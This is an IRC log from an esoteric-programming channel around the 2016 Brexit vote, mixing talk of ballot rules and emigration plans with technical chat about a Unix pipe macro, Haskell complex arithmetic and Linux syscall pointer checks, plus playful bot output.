16:29:41 <fizzie> 5) The candidate number isn't clear enough to unambiguously say who it meant.
16:30:22 <fizzie> 6) The ballot has the voter's name on it, or a recognizable mark, or "other irrelevant markings".
16:30:33 <fizzie> 7) The candidate number isn't valid.
16:31:00 <fizzie> But apparently if you do additional markings to clarify who you meant to vote for (I guess maybe the candidate name) that's okay.
16:31:06 <Taneb> Phantom_Hoover, I lost a vote because someone had put a tick in my box and a cross in all the other boxes
16:33:45 <fizzie> The way it works in Finland, you fold the ballot so that the number's not visible, bring it to the desk, the officials stamp it, then you put it in the box. It felt weird to vote here because the ballot wasn't of the folding kind.
16:33:46 <Phantom_Hoover> Taneb, was that not a unique identifying mark for you?
16:34:07 <Taneb> Phantom_Hoover, no, on the basis that a cross is the recommended mark to make for the candidate you wanted to vote for
16:34:56 <quintopia> @tell boily the USPS website doesn't like your city or province to be spelled correctly. (maybe their system just can't represent "é")
16:34:56 <lambdabot> Consider it noted.
16:34:59 <b_jonas> wait what? what would you normally vote with, if not pens?
16:35:18 <Phantom_Hoover> Taneb, but could you not argue that in that situation that they still clearly expressed a preference?
16:35:37 <Phantom_Hoover> b_jonas, the polling stations provide pencils
16:35:54 <Taneb> Phantom_Hoover, not, like, when I was 15
16:36:05 <Phantom_Hoover> Taneb, this is why you never got ahead in politics
16:36:08 <Taneb> And I won the election by a landslide anyway
16:36:12 <b_jonas> "<Phantom_Hoover> you can just scribble out a cross written in pen and put a cross in the other box / and that'll be interpreted as a clear preference anyway / apparently in the western isles they once had a ballot with 'wank' written next to all of the candidates except for the snp one who had 'good guy' written there"
16:36:59 <b_jonas> what? we have RULES for that sort of thing. you vote by putting a cross or plus sign in any single circle. if you put marks in more than one circle, it's an invalid vote.
16:37:22 <b_jonas> and that's even written clearly in the instructions hung on the wall in election places.
16:37:35 <Taneb> Phantom_Hoover, also, like, I'm really not an assertive chap
16:37:39 <Taneb> I'd be terrible in politics
16:37:49 <b_jonas> and they always give you ballpoint pens, not pencils.
16:37:57 <Phantom_Hoover> b_jonas, the rules are basically the same here but they allow for counting votes if all the interested parties agree on the interpretation
16:39:20 <b_jonas> "<coppro> there are multiple sets of eyes on the entire contents of the ballot box from the moment it's opened" => exactly, and that's necessary too, because without that, someone who can write on the slips could just void a vote by marking multiple circles (that doesn't change it to a different valid vote, but still changes the count)
16:40:44 <b_jonas> "<coppro> Phantom_Hoover: you can go back to the DRO and ask for a new ballot" => this, yes
16:42:23 <izabera> can someone explain me why this is useful?
16:42:26 <izabera> # define pipe(v) ((socketpair(AF_UNIX,SOCK_STREAM,0,v)<0||shutdown((v)[1],SHUT_RD)<0||fchmod((v)[1],S_IWUSR)<0||shutdown((v)[0],SHUT_WR)<0||fchmod((v)[0],S_IRUSR)<0)?(-1):0)
16:42:27 <Taneb> @tell boily if the UK leaves I have a backup plan
16:42:27 <lambdabot> Consider it noted.
16:42:55 <izabera> redefining pipe to use socketpair + shutdown x2 + fchmod x2
16:43:31 <izabera> there was no comment around that in the source
16:44:47 <b_jonas> izabera: I think that was for older Linux systems where a pipe had a kernel buffer with its size hard-fixed to some too small value, whereas a stream socketpair provides similar semantics and has a larger buffer by default and you can change its buffer size.
16:45:05 <b_jonas> izabera: if the buffer is too small, that could cause too many process switches when large data is sent.
16:45:19 <izabera> interesting
16:45:23 <b_jonas> izabera: this is no longer a problem (on Linux), because these days Linux uses a larger buffer for a pipe
16:45:45 <b_jonas> izabera: Windows 7 uses a small buffer by default but they have an OS-specific way to change that.
16:45:53 <b_jonas> per pipe-pair that is.
16:46:49 <b_jonas> izabera: the fchmod looks pretty stupid though
16:46:56 <Phantom_Hoover> Taneb, does it involve fucking off to the netherlands?
16:47:04 <izabera> i didn't write it
16:47:16 <izabera> afaik the author is david korn
16:48:24 <b_jonas> izabera: sure, I'm just saying
16:49:52 <b_jonas> `wisdom
16:49:55 <b_jonas> `? pipe
16:49:57 <b_jonas> `wisdom
16:50:03 <b_jonas> wisdoom
16:50:24 <izabera> `? wisdoom
16:50:49 <HackEgo> No output.
16:50:50 <HackEgo> This is not a pipe.
16:50:58 <HackEgo> procrastination//The Procrastination is destined to rule the world... right after watching this last funny cat clip on youtube.
16:50:59 <HackEgo> Wisdoom is realizing just too late how you could have avoided your demise.
16:52:37 <b_jonas> `? wisdom
16:52:39 <HackEgo> wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø?
16:52:41 <b_jonas> `? wisdom
16:52:43 <HackEgo> wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø?
16:52:44 <b_jonas> `? wisdom
16:52:46 <HackEgo> wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø?
16:52:46 <b_jonas> oh
16:52:48 <b_jonas> `wisdom
16:52:51 <HackEgo> auto//Auto is the German word for car.
16:52:54 <b_jonas> `wisdom
16:52:56 <HackEgo> superexponential growth//Superexponential growth? SUPEREXPONENTIAL GROWTH?! HOLY CRAP!!!
16:52:57 <b_jonas> `? char
16:52:59 <b_jonas> `wisdom
16:53:00 <HackEgo> Char is a prominent component of charcoal.
16:53:01 <HackEgo> log//I think you might mean !logs
16:53:09 <b_jonas> `wisdom
16:53:11 <HackEgo> enrichment centre//The Enrichment Center regrets to inform you that this next test is impossible.
16:57:56 <quintopia> I have this superexponential growth under my armpit
16:58:13 <\oren\> Stupid Expensify is malfunctioning
17:06:00 <fizzie> If a tree falls in a forest, does it create a log? </philosophy>
17:06:27 <oerjan> <b_jonas> @tell \oren\ in http://www.orenwatson.be/verne.htm , in the cyphered version, on the top row second block, you're missing on the top row second block, you're missing <-- i'm sure that cleared things up.
17:06:59 <quintopia> fizzie: does it fall publicly in the channel?
17:07:12 <oerjan> `? #esoteric
17:07:13 <HackEgo> ​#esoteric is the only channel that doesn't exist. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts.
17:09:20 -!- Frooxius has quit (Quit: *bubbles away*).
17:09:36 -!- Frooxius has joined.
17:17:38 <oerjan> `? priviledge
17:17:40 <HackEgo> priviledge? ¯\(°​_o)/¯
17:20:05 -!- oerjan has quit (Quit: Later).
17:25:45 <Taneb> Phantom_Hoover, basically, yeah
17:29:29 <izabera> i need an address where it's possible to write without damaging the system, but outside my address space
17:33:43 <\oren\> on what platform?
17:33:54 <izabera> linux
17:33:59 <izabera> x86_64
17:38:09 <\oren\> From user mode, writing anywhere in kernel space won't damage the system.
17:38:48 <\oren\> you'll get a segfault (damaging your own process) but the rest of the system won't be affected
17:39:24 <\oren\> for example, 0xFFFFFFFFFFFFFFFF is an adress in kernel space
17:41:11 <izabera> good thanks
17:43:02 -!- Kaynato has joined.
17:47:49 -!- Koen__ has joined.
17:50:07 -!- Koen_ has quit (Ping timeout: 244 seconds).
18:21:23 <\oren\> Apparently ROFL is obsolete, superseded by ROLF
18:21:56 <fizzie> Rolling on the laughing floor?
18:27:45 <\oren\> I think they changed the order so you can pronounce it in one syllable
18:29:11 <int-e> rolling on, laughing furiously
18:30:20 <Taneb> Red, Orange, Lleyow, Flue
18:30:25 <Taneb> Colours of the rainbow
18:31:39 <int-e> but without color codes?
18:31:55 <shachaf> uh oh, Taneb's tanebventing again
18:32:16 <Taneb> Nah, I'm on holiday
18:33:43 <int-e> but still venting
18:34:29 <shachaf> `? nitia
18:34:33 <HackEgo> nitia is the inventor of all things. The BBC invented her.
18:34:40 <shachaf> `? bbc
18:34:42 <HackEgo> The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets and tiny elfs. Taneb invented it.
18:35:07 <\oren\> `? breadbox
18:35:08 <HackEgo> breadbox? ¯\(°​_o)/¯
18:35:10 <int-e> `? invention
18:35:11 <HackEgo> invention? ¯\(°​_o)/¯
18:35:27 <\oren\> `? kernel
18:35:28 <HackEgo> kernel? ¯\(°​_o)/¯
18:35:36 <\oren\> `wisdom
18:35:38 <HackEgo> blank//
18:35:42 <\oren\> `wisdom
18:35:43 <HackEgo> fnord//? ¯\(°​_o)/¯
18:35:50 <\oren\> `wisdom
18:35:52 <HackEgo> phantom_______hoover//It doesn't get any better than this.
18:36:00 <\oren\> `wisdom
18:36:04 <HackEgo> certainly//We don't know what certainly is for sure, but at least it isn't a functor.
18:36:11 <\oren\> `wisdom
18:36:12 <HackEgo> russia//Russia is a country so huge it manages to be so near to both Finland and Japan. It used to be part of the Soviet Union before Ronald Reagan destroyed it.
18:36:29 <\oren\> `wisdom
18:36:31 <HackEgo> persistence//Taneb invented persistence long ago, and it's been around ever since.
18:36:36 <\oren\> `wisdom
18:36:37 <HackEgo> fentimans//fentimans is a delicious beverage out from Hexham, that can be paired with a fresh fternooner for a nutritive midday snack.
18:37:30 <shachaf> `? japan
18:37:32 <HackEgo> Japan is so far from Finland. However, like Finland, it is so near to Russia, and quite a long way from Cairo. It's many fewer miles from Vietnam than Finland is.
18:38:12 <\oren\> `? finland
18:38:14 <HackEgo> Finland is a European country. There are two people in Finland, and at least nine of them are in this channel. Corun drives the bus.
18:38:27 <\oren\> `? canada
18:38:29 <HackEgo> Canada is Big Scotland. Like, you know, very big.
18:38:53 <\oren\> I still think Canada should join the EU
18:39:13 <fizzie> I think Australia should join the EU.
18:39:15 <shachaf> Scotland should leave the UK and join the EU.
18:39:19 <fizzie> With Eurovision, they're already halfway there.
18:39:41 <Taneb> fizzie, if the UK stays in, Australia joins, and I do my backup plan anyway...
18:39:45 <Taneb> I'll be three EU citizens
18:39:49 <\oren\> Maybe after Brexit they'll let us join as a more polite version of Britain
18:40:14 <int-e> only if you get rid of Quebec
18:40:23 <int-e> One France is enough for the EU.
18:40:34 <Taneb> int-e, Wallonia?
18:41:00 <\oren\> Quebec might separate after being inspired by Britain
18:41:05 <\oren\> or Scotland
18:44:46 <\oren\> Or maybe I'll start a revolution to make Toronto an independent City-state
18:45:10 <\oren\> the rest of ontario would heartily support us
18:45:23 -!- Koen__ has quit (Remote host closed the connection).
18:59:23 <b_jonas> \oren\: eh what?
19:00:25 <Taneb> \oren\, I believe there is a similar campaign for London, England
19:01:16 <b_jonas> oerjan: was it truncated like that or something?
19:02:29 <b_jonas> \oren\: anyway, http://www.orenwatson.be/verne.htm has a bug: in the cyphered part, top row middle block " ᛅᛋᛣᚢᛅᛚ " is wrong, iw should be " ᛅᛋᛣᛅᚢᛅᛚ " so that the E of "descende" is included;
19:04:39 <b_jonas> \oren\: that letter is present in the book
19:06:46 <\oren\> Fixed
19:08:53 <b_jonas> \oren\: it's still missing in the latin transcription of the cyphered block on http://www.orenwatson.be/verne.htm
19:09:53 <\oren\> fixed that
19:13:43 <b_jonas> \oren\: good. I also suggest that you include the French translation form the novel
19:13:52 <b_jonas> for completeness
19:17:02 -!- augur has joined.
19:19:14 -!- Koen_ has joined.
19:20:46 <\oren\> ok.
19:32:05 <shachaf> `? taneb
19:32:08 <HackEgo> Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and above average, not too voluminous, but calm eyebrows. (See also: tanebventions)
19:32:37 <shachaf> > 8**(1/3)
19:32:39 <lambdabot> 2.0
19:47:10 <\oren\> > e**(pi*i)
19:47:12 <lambdabot> e**(pi * i)
19:47:22 <\oren\> boo
19:48:13 <\oren\> > math::e**(math::pi*math::i)
19:48:14 <lambdabot> <hint>:1:24: parse error on input ‘::’
19:48:19 <\oren\> argh
19:49:39 <\oren\> > Fractional.e(Fractional.pi)
19:49:41 <lambdabot> Not in scope: ‘Fractional.e’Not in scope: ‘Fractional.pi’
19:50:40 <\oren\> > pi
19:50:42 <lambdabot> 3.141592653589793
19:50:45 <\oren\> > e
19:50:46 <lambdabot> e
19:50:55 <\oren\> > exp(pi)
19:50:57 <lambdabot> 23.140692632779267
19:51:01 <\oren\> > exp(pi*i)
19:51:03 <lambdabot> exp (pi * i)
19:51:47 <\oren\> > exp(pi*(0:+1))
19:51:49 <lambdabot> (-1.0) :+ 1.2246467991473532e-16
19:51:57 -!- S1 has joined.
19:52:05 <\oren\> Uh...
19:52:54 <\oren\> > exp(1)**(pi*(0:+1))
19:52:55 <lambdabot> (-1.0) :+ 1.2246467991473532e-16
19:53:35 <\oren\> > exp(1)**pi**(0:+1))
19:53:36 <lambdabot> <hint>:1:19: parse error on input ‘)’
19:53:38 <\oren\> > exp(1)**pi**(0:+1)
19:53:39 <lambdabot> 0.9271380752254357 :+ 1.1941162626914863
19:54:06 <\oren\> > (exp(1)**pi)**(0:+1)
19:54:08 <lambdabot> (-1.0) :+ 1.2246467991473532e-16
19:54:12 <\oren\> ARGH
19:54:58 <\oren\> ever heard of precedence rules Haskell!?!?@?
19:55:34 <shachaf> What's the issue?
19:55:45 <shachaf> ** is infixr, so a**b**c = a**(b**c)
19:55:48 <shachaf> Which is what you want.
19:56:15 <shachaf> also function application is written "f x", not "f(x)" hth
19:56:24 <\oren\> It's not doing euler right
19:57:09 <\oren\> > (exp 1)**(pi*(0:+1))
19:57:11 <lambdabot> (-1.0) :+ 1.2246467991473532e-16
19:57:19 <shachaf> That looks right to me.
19:57:20 -!- impomatic has joined.
19:57:36 <\oren\> also it doesn't have i or e as constants
19:57:47 -!- spiette has quit (Ping timeout: 260 seconds).
19:58:00 <shachaf> It has exp, which is what you're doing anyway.
19:58:35 <shachaf> > exp (pi * (0 :+ 1)) :: Complex CReal
19:58:36 <lambdabot> (-1.0) :+ 0.0
19:58:55 <b_jonas> shachaf: do you mean exp (0 :+ pi)
19:58:57 <\oren\> WAT
19:59:26 <shachaf> b_jonas: that works too
19:59:42 <shachaf> i was just copying \'s expression from above hth
19:59:46 <\oren\> Was it doesng integers not reals by default or something?
20:00:17 <\oren\> > (exp (0:+pi))
20:00:18 <lambdabot> (-1.0) :+ 1.2246467991473532e-16
20:00:36 <\oren\> > exp(0:+pi) :: Real
20:00:38 <lambdabot> Expecting one more argument to ‘Real’
20:00:38 <lambdabot> Expected a type, but ‘Real’ has kind ‘* -> Constraint’
20:00:38 <lambdabot> In an expression type signature: Real
20:00:43 <\oren\> > exp(0:+pi) :: CReal
20:00:44 <lambdabot> Couldn't match expected type ‘CReal’
20:00:45 <lambdabot> with actual type ‘Complex Double’
20:00:45 <lambdabot> In the first argument of ‘exp’, namely ‘(0 :+ pi)’
20:00:54 <\oren\> > exp(0:+pi) :: Complex
20:00:56 <lambdabot> Expecting one more argument to ‘Complex’
20:00:56 <lambdabot> Expected a type, but ‘Complex’ has kind ‘* -> *’
20:00:56 <lambdabot> In an expression type signature: Complex
20:01:08 <\oren\> > exp(0:+pi) :: Complex Double
20:01:09 <lambdabot> (-1.0) :+ 1.2246467991473532e-16
20:01:15 <\oren\> > exp(0:+pi) :: Complex CReal
20:01:17 <lambdabot> (-1.0) :+ 0.0
20:01:32 <shachaf> It was using floating point values by default.
20:01:54 <\oren\> What is a Creal?
20:02:03 <\oren\> @hoogle CReal
20:02:05 <lambdabot> No results found
20:02:12 <\oren\> WAT
20:02:59 <b_jonas> `? CReal
20:03:05 <HackEgo> CReal? ¯\(°​_o)/¯
20:03:09 <b_jonas> @kind CReal
20:03:11 <lambdabot> *
20:04:02 <izabera> i need help with a linux thingy
20:04:38 <izabera> http://lxr.free-electrons.com/source/net/socket.c#L1584 this is the getpeername() syscall
20:05:09 <izabera> it calls move_addr_to_user()
20:05:14 <izabera> which is here http://lxr.free-electrons.com/source/net/socket.c#L216
20:06:03 -!- jaboja has joined.
20:06:12 <izabera> move_addr_to_user checks if it can write to the sockaddr* and returns -EFAULT if it can't
20:06:42 <izabera> but it doesn't check if it can write to the socklen_t* argument in getpeername()
20:07:05 <izabera> it's in line 240: return __put_user(klen, ulen);
20:07:29 <\oren\> #define fasle false
20:07:41 <izabera> what's that
20:08:21 <izabera> i tried to test if this can write outside my address space, but i can't
20:08:32 <izabera> and it's probably my test that's not working
20:08:44 <b_jonas> izabera: doesn't the __put_user macro check that?
20:08:46 <b_jonas> or function
20:08:50 <b_jonas> whichever
20:08:51 <izabera> nope
20:09:15 <izabera> click on it and you can see its definition
20:09:28 <b_jonas> izabera: how about the get_user function in line 223 then?
20:10:34 -!- spiette has joined.
20:10:40 <izabera> that's getting the value
20:11:10 <izabera> oh i see what you mean
20:11:16 <b_jonas> izabera: right, but it gets the value from user space, so the field is already known to be at least readable
20:11:33 <b_jonas> the get_user ensures it's in user-space
20:12:17 <b_jonas> izabera: and __put_user ensures it's writable
20:12:21 <b_jonas> together the two should be enough
20:23:34 -!- jaboja has quit (Ping timeout: 244 seconds).
20:32:41 <izabera> i've been looking at get_user for a while and i don't see where it checks if it can access that
21:09:34 <b_jonas> izabera: it has to check that the address is in user space, not kernel space, which is just a single comparison with a very fixed address (the linear address space is partitioned that way on Linux), then after that, it has to check if the address is readable _for the kernel_.
21:11:49 <izabera> it never checks if it's in that process' address space
21:12:06 <izabera> correct?
21:12:07 <b_jonas> izabera: there's only one process mapped at a time, even in kernel mode
21:12:13 <b_jonas> it doesn't have to check which process
21:12:17 <izabera> ok
21:13:14 <izabera> so what happens if i pass an address that's in userspace but not where i can write?
21:14:00 <b_jonas> izabera: then the read will succeed, but the write will fail, and so the syscall will give you an EFAULT
21:15:11 <b_jonas> izabera: both for the read and write, after checking if it's in the user half of the address space, the kernel normally has to just attempt the memory read or write, and it will get a fault if it fails, which fault it might handle (eg. by loading from a swap device) or it might be a hard error, in the latter case the syscall will give EFAULT.
21:15:20 -!- jaboja has joined.
21:16:11 <izabera> oh it is returning efault now
21:16:26 <izabera> i don't know what i did before but it returned 0
21:22:06 <fizzie> A man was at the railway station shouting how many minutes until the polls close. They're certainly very enthusiastic.
21:24:40 <b_jonas> fizzie: yes, only 35 minutes now, so be quick and vote, everyone!
21:27:31 -!- JX7P has quit (*.net *.split).
21:27:31 -!- atehwa has quit (*.net *.split).
21:27:32 -!- catern has quit (*.net *.split).
21:27:32 -!- rodgort has quit (*.net *.split).
21:27:32 -!- shikhin has quit (*.net *.split).
21:27:32 -!- staffehn has quit (*.net *.split).
21:27:32 -!- Lymia has quit (*.net *.split).
21:27:32 -!- carado has quit (*.net *.split).
21:27:32 -!- quintopia has quit (*.net *.split).
21:27:41 -!- quintopia has joined.
21:27:43 -!- shikhin has joined.
21:28:08 -!- IRIXUser has joined.
21:28:14 -!- rodgort has joined.
21:28:31 -!- IRIXUser has changed nick to Guest78438.
21:29:09 -!- staffehn has joined.
21:29:31 -!- carado has joined.
21:30:10 -!- Lymia has joined.
21:30:32 -!- incomprehensibly has quit (Ping timeout: 258 seconds).
21:30:45 -!- catern has joined.
21:31:41 -!- ocharles has quit (Ping timeout: 258 seconds).
21:33:41 -!- atehwa has joined.
21:39:39 -!- ocharles has joined.
21:41:02 <\oren\> 18 minutes left?!?@?
21:42:26 <\oren\> Oh Boris is at the polling station
21:42:45 <fizzie> Did he take one of his bikes to get there?
21:43:12 <\oren\> I dunno, he was with some woman
21:45:18 <fizzie> Do they have tandem Boris bikes? I guess not.
21:45:36 <fizzie> "Mayor of London under fire for £500 tandem Boris Bike royal wedding gift"
21:45:40 <fizzie> I stand corrected.
21:46:11 -!- incomprehensibly has joined.
21:46:40 <int-e> ^celebrate
21:46:40 <fungot> \o| c.c \o/ ಠ_ಠ \m/ \m/ \o_ c.c _o/ \m/ \m/ ಠ_ಠ \o/ c.c |o/
21:47:28 <fizzie> This is less of a celebration without the other rows.
21:48:59 <\oren\> wat happen to the bot that added legs?
21:49:26 <shachaf> myndzi isn't a bot
21:49:31 <int-e> `? myndzi
21:49:56 <HackEgo> myndzi used to keep us all on our feet.
21:50:02 <int-e> hah
21:50:08 <int-e> `culprits wisdom/myndzi
21:50:09 -!- adu has joined.
21:50:25 <HackEgo> oerjan oerjan oerjan elliott Bike FreeFull oerjan
21:50:48 <\oren\> shachaf: WAT
21:52:26 <\oren\> so he was simply a person with a custom script in his irc client?
21:53:19 <lambdabot> Who isn't ;-)
21:55:06 <\oren\> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
21:56:42 <\oren\> The bots are a lie!
21:57:03 <Taneb> fungot, are you a bot
21:57:03 <fungot> Taneb: i just found that you can actually have a process started
21:57:29 <int-e> fungot is semisentient too
21:57:29 <fungot> int-e: question is, what are the puzzles? i'm not sure how
21:57:39 <int-e> eerily so, sometimes
21:57:45 <shachaf> int-e: you should add me to the lambdabot admin list twh
21:57:48 -!- Guest78438 has quit (Changing host).
21:57:48 -!- Guest78438 has joined.
21:57:51 -!- Guest78438 has changed nick to JX7P.
22:09:31 <\oren\> `relcome JX7P
22:09:36 <HackEgo> JX7P: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
22:16:37 -!- S1 has quit (Quit: S1).
22:23:20 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:25:08 -!- `^_^v has joined.
22:26:00 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:26:04 -!- adu has quit (Quit: adu).
22:49:25 -!- `^_^v has quit (Quit: This computer has gone to sleep).
23:18:52 <b_jonas> fungot, you're back!
23:18:53 <fungot> b_jonas: r5rs gives some guidelines as to what a child with down syndrome could understand. i'm interested about it fnord ahead :) negative array indexes and computed gotos
23:19:10 <b_jonas> computed come froms are better
23:19:13 <b_jonas> `? come from
23:19:15 <HackEgo> come from? ¯\(°​_o)/¯
23:29:58 -!- bradcomp has quit (Quit: Page closed).
23:33:52 -!- jaboja has quit (Ping timeout: 272 seconds).
23:34:40 -!- boily has joined.
23:45:06 -!- oerjan has joined.
23:45:09 -!- jaboja has joined.
23:45:54 -!- asie has quit (Ping timeout: 272 seconds).
23:46:31 <boily> fungot: nostril.
23:46:31 <fungot> boily: and this is not a primitive name in: atom?? gdbm-ci? null? list)...
23:46:38 <boily> @massages-loud
23:46:38 <lambdabot> quintopia said 7h 11m 41s ago: the USPS website doesn't like your city or province to be spelled correctly. (maybe their system just can't represent "é")
23:46:38 <lambdabot> Taneb said 7h 4m 11s ago: if the UK leaves I have a backup plan
23:47:02 <boily> @tell quintopia Montreal and Quebec are perfectly fine hth
23:47:02 <lambdabot> Consider it noted.
23:47:48 <boily> @ask Taneb so you're moving to Canada?
23:47:48 <lambdabot> Consider it noted.
23:48:02 <Taneb> @tell boily No, the Netherlands
23:48:02 <lambdabot> Consider it noted.
23:49:11 -!- asie has joined.
23:50:16 <boily> Tanelle. that's not Canada hth
23:50:19 <oerjan> yá'át'ééhoily
23:50:34 <boily> navajo?
23:51:05 <boily> ma'loerjan ak'ab
23:52:21 <Taneb> boily, I'm almost eligible for Dutch nationality
23:52:44 <Taneb> And I don't want to go from University of York to York University
23:53:10 <boily> Dutch Nationality Exam: [ ] Do you speak Dutch [ ] Can you bike [ ] Black licorice tastes good
23:54:24 <shachaf> "ngevd" is dutch for "taneb", right?
23:55:03 <shachaf> Taneb: I thought you were going to move to the United States.
23:55:34 <shachaf> So you could buy some health insurance.
23:55:50 <Taneb> shachaf, I think I already have health insurance
23:56:04 <Taneb> boily, No, Sort of, In Moderation
23:56:55 <shachaf> Taneb: You probably didn't pay enough for it, though.
23:56:58 <shachaf> You get what you pay for.
23:59:00 <oerjan> boily: maya (grmbl, you almost got me there)
2016-06-24
00:01:42 <Phantom_Hoover> i have a backup plan but i can't put it into action for another two weeks
00:01:58 <Phantom_Hoover> which is a problem because by then everyone will be doing the same and the passport offices will be swamped
00:02:10 <Taneb> Phantom_Hoover, you have Irish family, right?
00:02:33 <Phantom_Hoover> i am literally the only non-irish person in my family
00:03:13 <shachaf> A family of vacuum cleaners?
00:03:37 <oerjan> <boily> Dutch Nationality Exam: [ ] Do you speak Dutch [ ] Can you bike [ ] Black licorice tastes good <-- ooh, i've got two of three!
00:03:56 <shachaf> oerjan: You speak Dutch?
00:04:01 <boily> Phantom Hoover, son of Ghost Hoover, son of Spirit Hoover.
00:04:13 <shachaf> Since one of those three is an objective fact, which is objectively false.
00:05:23 <oerjan> shachaf: that's the missing one hth
00:06:22 <shachaf> as a finishing touch, god created Taneb
00:06:26 <shachaf> invented
00:06:27 -!- jaboja has quit (Ping timeout: 264 seconds).
00:06:28 <shachaf> nitia
00:06:52 <boily> Nitia is God?
00:08:57 <shachaf> `? tanebvention
00:09:09 <HackEgo> Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, Tanebventions, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex.
00:09:23 -!- moon__ has joined.
00:09:49 <shachaf> `? tanebventions: math
00:09:54 <HackEgo> Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, the reals, Lambek's lemma, pointless topology, and histograms.
00:10:34 <\oren\> mhelloon!
00:10:35 <shachaf> `le/rn curry's paradox/If this sentence is true, then Taneb invented Curry's paradox.
00:10:43 <HackEgo> Learned «curry's paradox»
00:10:50 <moon__> my virtualbox is apparently missing
00:10:54 <boily> tanebventions were split?
00:11:01 <boily> he\\oren\, mhelloon__!
00:11:21 <moon__> and the installer wont work, so im running malware bytes
00:11:41 <moon__> i *think* i might have malware
00:13:00 -!- myndzi\ has joined.
00:13:08 * boily pokes moon__ in the direction of a linux distro
00:13:12 * boily *poke poke poke*
00:13:25 <\oren\> I know I have malware, on the basis that I wrote many bad programs
00:13:53 <moon__> Boily, thats WHY i have virtualbox
00:14:02 <moon__> because i cant install on this laptop
00:14:07 <oerjan> Phantom_Hoover> i have a backup plan but i can't put it into action for another two weeks <-- iirc wasn't there supposed to be something like 2 years before the ties get broken for real?
00:15:15 <oerjan> `? cis
00:15:16 <HackEgo> The CIs are a secret society led by David Morgan-Mar, bent on conquering the world from Sydney with web comics and unsolvable puzzles. They invented Taneb.
00:15:17 * moon__ eats whatever broke his virtualbox
00:15:37 <Phantom_Hoover> oerjan, sure but there'd be a run on EU passports as soon as a brexit result came in
00:16:06 <moon__> Nothing so far
00:16:11 <oerjan> <boily> tanebventions were split? <-- it was inevitable.
00:16:12 <\oren\> moon__: why can't you? no CD drive?
00:16:12 <moon__> hopefully i get a perfect 0
00:16:26 <moon__> Yea, my diskdrive decided to fall out (=
00:16:28 <moon__> *)=
00:16:30 <boily> oerjan: itym inevitaneble hth
00:16:57 <moon__> `wisdom boily
00:17:01 <HackEgo> boily//"Only sane man" boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department. He is also a renowned Capitalist.
00:17:12 <oerjan> Phantom_Hoover: well as long as they don't run out permanently...
00:17:24 <moon__> `? boily
00:17:31 <moon__> boily has the best one lol
00:17:31 <HackEgo> ​"Only sane man" boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department. He is also a renowned Capitalist.
00:17:50 <boily> moon__: note that "trigotillectomic" uniquely identifies me in google searches :D
00:18:22 <moon__> time to add 'overmoonification' to all my profiles lol
00:18:59 -!- jaboja has joined.
00:19:12 <moon__> how do i append to wisdom entrys?
00:19:40 <oerjan> with `learn_append
00:19:53 -!- Phantom_Hoover has quit (Quit: Leaving).
00:20:11 <oerjan> if the key is a single word
00:20:43 <moon__> `learn_append moon . He sometimes causes overmoonification
00:20:48 <HackEgo> Learned 'moon': Moon is a murderous lunatic, not an unretroreflectorey object. . He sometimes causes overmoonification
00:20:50 <oerjan> oh no
00:20:56 <shachaf> oerjan: it's ok, you're retired
00:21:06 <oerjan> `revert
00:21:23 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
00:21:27 <oerjan> moon__: your `learn_append privileges are revoked hth
00:21:34 <moon__> )=
00:21:46 <shachaf> `? oerjan
00:21:57 <HackEgo> Your mysterious articled cackling zombie overlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
00:22:14 * moon__ eats learn_append
00:22:30 <oerjan> (1) you cannot append punctuation to what's already there (2) because of 1, you must have punctuation at the end of what you add
00:23:10 <moon__> i will fix it lol
00:23:18 <moon__> `learn_append moon He sometimes causes overmoonification.
00:23:22 <HackEgo> Learned 'moon': Moon is a murderous lunatic, not an unretroreflectorey object. He sometimes causes overmoonification.
00:25:24 <oerjan> @tell hppavilion[1] <hppavilion[1]> Are there any problems that are /literally/ unsolvable on CCs but not on QCs? <-- no hth
00:25:24 <lambdabot> Consider it noted.
00:27:42 <moon__> what does hth even mean?
00:27:54 <fizzie> `? hth
00:27:57 <HackEgo> hth is help received from a hairy toe. It is not at all hambiguitous.
00:28:17 <moon__> lol
00:28:24 <shachaf> hizzie
00:28:52 <moon__> Hairy Toe Hambiguitous
00:29:16 <moon__> Makes (no) sense
00:30:15 <moon__> Time to get a aflac ad on a page about a phobia about having a duck watching you
00:32:47 <boily> a Duck is Always Watching You. it Guards You from Evil. Fungot Knows.
00:33:45 <fizzie> I don't know, ducks have always seemed a bit suspicious to me. Like they're plotting something.
00:33:56 <oerjan> http://www.mezzacotta.net/garfield/?comic=2590
00:34:00 <oerjan> argh
00:34:08 <oerjan> wrong link
00:34:18 <oerjan> http://25.media.tumblr.com/tumblr_m90zefhKFP1rbs5emo1_500.gif
00:35:09 <oerjan> (if you're old enough, you can probably guess what it is)
00:35:23 <oerjan> (of course, only i am that old)
00:36:30 <oerjan> (this is the original btw. i see it has been memeified.)
